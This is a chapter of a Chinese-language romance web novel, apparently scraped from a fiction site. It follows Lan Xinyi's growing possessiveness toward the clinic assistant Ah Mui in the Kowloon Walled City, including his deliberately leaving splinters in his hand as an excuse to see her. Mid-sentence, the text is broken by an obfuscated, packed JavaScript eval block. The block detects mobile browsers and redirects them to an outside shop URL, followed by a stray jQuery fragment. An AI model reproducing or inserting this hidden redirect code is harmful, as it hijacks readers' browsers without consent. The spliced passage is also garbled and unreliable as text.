文趣网 > 都市小说 > [港综]野生情人出没地 > 46.各怀心事
    其实发现十二和阿妹出去玩的事情后,蓝信一的心情就一直不算好。

    事情不算难猜。

    他耳朵灵,能听到有人那天有人从窗口跳出后大概是碰到了什么杂物,传出了一丁点声响。

    再加上阿妹当时站起身脸上略惊慌的表情,以及陈伯医馆那扇很久没开的窗户。

    一切不言自明。

    于是取完药,在跟阿妹与提子告别后,蓝信一没有第一时间回理发铺。

    而是大概绕到了陈伯后窗通向的窄巷,窗户已经关上,但那鲜少有人走过的路面上却出现了几个不算明显的脚印。

    蓝信一蹲下看了眼鞋码,再比较了下踩上去时的力度,心底的答案已经清晰。

    他看着脚印消失的方向,没有选择追上去。

    那天晚上他喝了点酒,站在天台上吹风。

    其实想了很多事情。

    但所有的念头都被他一一压下去,他告诉自己那只是意外。

    而第二天阿妹不在医馆,十二没来城寨。

    蓝信一巡逻时几乎留意了大大小小阿妹可能出没的地方,一无所获。

    城寨说大不算大,可要细细巡逻起来想找一个人也实在不算小。

    他花费了大半天的时间,然后在听到守巷口的小弟说今天看到了吉祥。

    于是,所有的线索都被穿成了串。

    蓝信一发现他没办法再自欺欺人下去。

    而这不算好的心情,在街市听到燕芬姐打趣阿妹时就更是糟到了谷底。

    这些街坊都没看到阿妹不是真心在笑吗?

    他们都没看到提子揽在阿妹肩上的手,没看见过阿妹放松专注看书的样子,没看到阿妹其实并不喜欢提子...

    咔嚓

    木筷在掌心断裂,蓝信一不能表露出任何异样,只能脸上若无其事,手却攥的愈发紧。

    他那天晚上坐在房间里,面前摆着医疗箱。

    却简单消了下毒后,就静静地看了许久。

    自然是痛的,再能打的也是个普通的人。

    他感觉自己快要疯掉了。

    可理智却清醒的守在旁边。

    木刺扎的位置都还好,简单消毒后,哪怕放一晚上也不会影响什么。

    留在里面,他就有了光明正大的借口,这样明天可以去见阿妹了。

    可为什么只有他需要找一个理由,找一个借口?

    城寨街坊不用,提子不用,甚至现在连梁俊义都不用。

    蓝信一总是告诫自己,不要让提子伤心阿妹受伤,不要让龙哥难做,不要让场面发展到难堪的地步。

    可如果他们注定要分开,如果事情注定要往糟糕的方向进展...

    如果他可以,那凭什么他不行?

    这里是城寨。

    城寨大大小小的事物,他管了无数年。

    所以城寨的人也该归他管,这是天经地义的事情。

    阿妹从踏进城寨的那一刻起,就合该是属于他的。

    不对吗?

    -

    白里那天晚上没怎么睡好。

    一晚上都在做梦,梦见一只黑色的怪兽跟在自己的后面。

    她走它也走,她停它也停。

    逃又逃不脱,偏偏更不能看它。

    只要视线对视,它就会逐渐缩短彼此的距离。

    直到被赶到墙角的那一刻,她吓醒了。

    迷迷糊糊地洗漱完,趁着未完全亮起的天色,就气闷着往医馆走。

    陈伯早就把钥匙交给了她,以便于自己能睡个懒觉。

    大早上的医馆就已经有一堆待处理的工作,白里拍了拍还有些睡意的脸,撸起袖子开始挨个处理。

    还没等忙完,门口铜铃响起的声音就吓了她一跳。

    谁这么早来看病?

    循着声音,她看到一个意想不到的人。

    “信一哥?”

    蓝信一穿着他那件墨绿色的夹克,衬衫、领带和腰链齐全,就连头顶的发型都精致到一丝不苟。

    他提着街市上新买的早餐递了过来,笑着打招呼。

    “早晨,阿妹。”

    白里觉得自己大抵是见鬼了。

    蓝信一的到访时间比时钟还要固定,怎么会在这个时候来。

    原本发散到已经开始在内心造谣的思想,在看到蓝信一张开已经有些发白的手时,全都被抛在了脑后。

    白里努力咽下口中的早餐包,支吾不清连连询问。

    “唔使慌张,痛觉淡咗不少。昨日整理家私唔小心整伤自己,太迟就冇入医馆。”(别慌,没那么痛了。昨天收拾的时候不小心伤到了。太晚就没去医馆。)

    蓝信一看着阿妹嘴巴还在努力嚼着,就已经开始连忙找器械消毒的身影,沉闷的心情好上不少。

    “四仔讲你疗伤手艺长进好大,不妨攞我个伤口练下手都得。”(...拿我练练手啦。)

    白里没多想,完成准备工作后,便凑过来准备处理伤口。

    可却发现蓝信一没规规矩矩地待在诊疗椅上,破天荒的坐在了靠近躺椅的小板凳上。

    白里左右看了下,实在没找到第三个高度合适的凳子,也就只能走了过去。

    托盘放在刚被打扫干净的地上,伤患的手只能放在腿上进行处理。

    可蓝信一坐在小板凳上实在太局促,手摆在膝盖上有些太高。

    白里也没多想,将手干脆拉了过来,放在自己的膝盖上。

    低下头打量着手上的伤口。

    原本好看的手掌扎着几根伤口形状奇怪的木刺,有几根快要被挤出,有几根则是深深地嵌在肉里。

    手心上有好几处已经凝固了的暗褐色,伤口周围的皮肤却因为长时间的异物而发白发胀。

    白里已经有阵子没见过伤口了,原本以为自己想要呕吐的生理反应又会冒头。

    也许是蓝信一身上的味道干净,不像四仔医馆里那样血腥难闻。

    也许是创伤比较轻,不至于到皮开肉绽的程度。

    总之,从生理到心理,一切都很平静。

    过程很顺利,伤患很配合。

    白里全神贯注,只是在拔最后一根的时候,安慰地说了句,“忍下啦,会痛嘅,呢根插得好深。”

    蓝信一也只是应了一声,便继续默不作声。

    清创,取出异物,消毒,缝...

    白里默默地将心底念的步骤甩到一旁,放下了已经拿起针和缝合线的手。

    转而拿起了几个创可贴。

    原本掌心的血痂都被清理的干净,歪歪斜斜地贴了不少创可贴,有普通的黄色,也有透明的,甚至还有一两个卡通彩色的。

    察觉到蓝信一凝固的视线,白里镇定自若地收拾着托盘,理直气壮地消毒摆放器具。

    想要看龙城第一刀带着卡通创可贴巡逻,怎么不算一种恶趣味呢?

    往常都是给细路仔用的超珍贵稀有品,用在头马身上是他赚大啦。

    蓝信一活动了下手指,恰好碰到陈伯也来

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17750158|204882||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    到了医馆。

    “咦,信一,今日咁早??”

    “系啊,整亲咗,嚟搵阿妹帮手包扎下。早晨啊陈伯。”(是啊,擦伤了,来找阿妹包扎下。)

    陈伯点点头,走过来拍了拍信一的肩膀,“几好啊,睇嚟我间医馆嘅生意范围又扩阔咗。”(好啊,看来我这医馆生意范围又扩张咯。)

    跟白里也打完招呼,陈伯目光在医馆环视了一圈,慢悠悠地去地下室找东西去了。

    医馆内又剩下了已经无事的蓝信一,以及开始忙碌医馆卫生的白里。

    蓝信一安静地坐了片刻,临走前在门口站了一会儿。

    久到白里都注意到,停下了手中的活,抬起了头。

    还没等她开口询问,略微有些哑的声音犹犹豫豫地传了过来。

    “阿妹,有解决唔到嘅事,记得嚟揾我。”(有解决不了的事情,就来找我。)

    又把尾音吞掉,补了句,“...或者四仔都得”

    ?

    谁又刺激他啦?

    满腹疑惑的白里脸上维持着微笑,“唔该,信一哥。”

    -

    梁俊义又一次因为提子的到来而提早出了医馆。

    也不想去找信一,更不打算去四仔那看片,于是想了半天,最后选择站在城寨的巷口吹风冷静。

    心底怎么想都不得劲。

    每回提子的寒暄招呼越自然,越热切,他就越心虚。

    他知道自己在做的事情不算多正当。

    如果提子对他冷嘲热讽,愤恨他,怪他骂他,他都能忍下来,也不会觉得有什么。

    可偏偏是这种对待好兄弟好大哥的态度。

    梁俊义每次都说自己算是半个城寨人。

    出身对于他而言,不单单是嘴上的只言片语。

    提子在信一身后跑了多久,他也几乎算认识了多久。

    少年的情谊来的很容易,几场架,几次惹祸。再到成年后的几次喝酒吹水,几回相互遮掩。

    只不过是因为他常年待在庙街,后面事情多了,记忆也就渐渐成了回忆。

    吉祥那次回去后就劝过他。

    身份太尴尬,要是有什么风言风语,老顶会不高兴。

    梁俊义回了他一个板栗。

    放弃的念头不知从什么时候起,哪怕一刻,都没有再在梁俊义的脑海里出现过。

    就连现在,他蹲在巷口跟守这儿的小弟一起抽烟时,心里想的都是怎么让这种不对劲的感觉减少一些。

    可无解又无果。

    难搞。

    有一搭没一搭地聊着天,梁俊义突然想到了在拳场时信一说的话。

    于是便顺嘴问了下旁边的小弟。

    “你哋信一哥日日都要过问巷口出入动静??”

    “冇...冇?。”

    烂仔嘴磕巴了一下,猛吸了口烟。

    梁俊义头扭了过去,打量了下身旁小弟神情。

    继续着刚才闲聊的话题,直到吸完烟才起身出了巷口,骑上了回庙街的机车。

    回到架势堂,就抓来了刚正在和靓女搭讪的吉祥,却怎么也没问出最近的异常。

    梁俊义没好气地踹了一脚吉祥,“你上次喺城寨外便睇水,俾人撞见咗?”(你上回去城寨外面守着,被人撞见了?)

    “唔会嘅,我专登戴实兜帽先敢蹲守?。”(不会啊,我专门带着兜帽才敢在那蹲守的。)

    吉祥挠了挠自己新染的红毛,跟自己明显心情不好的老大面面相觑。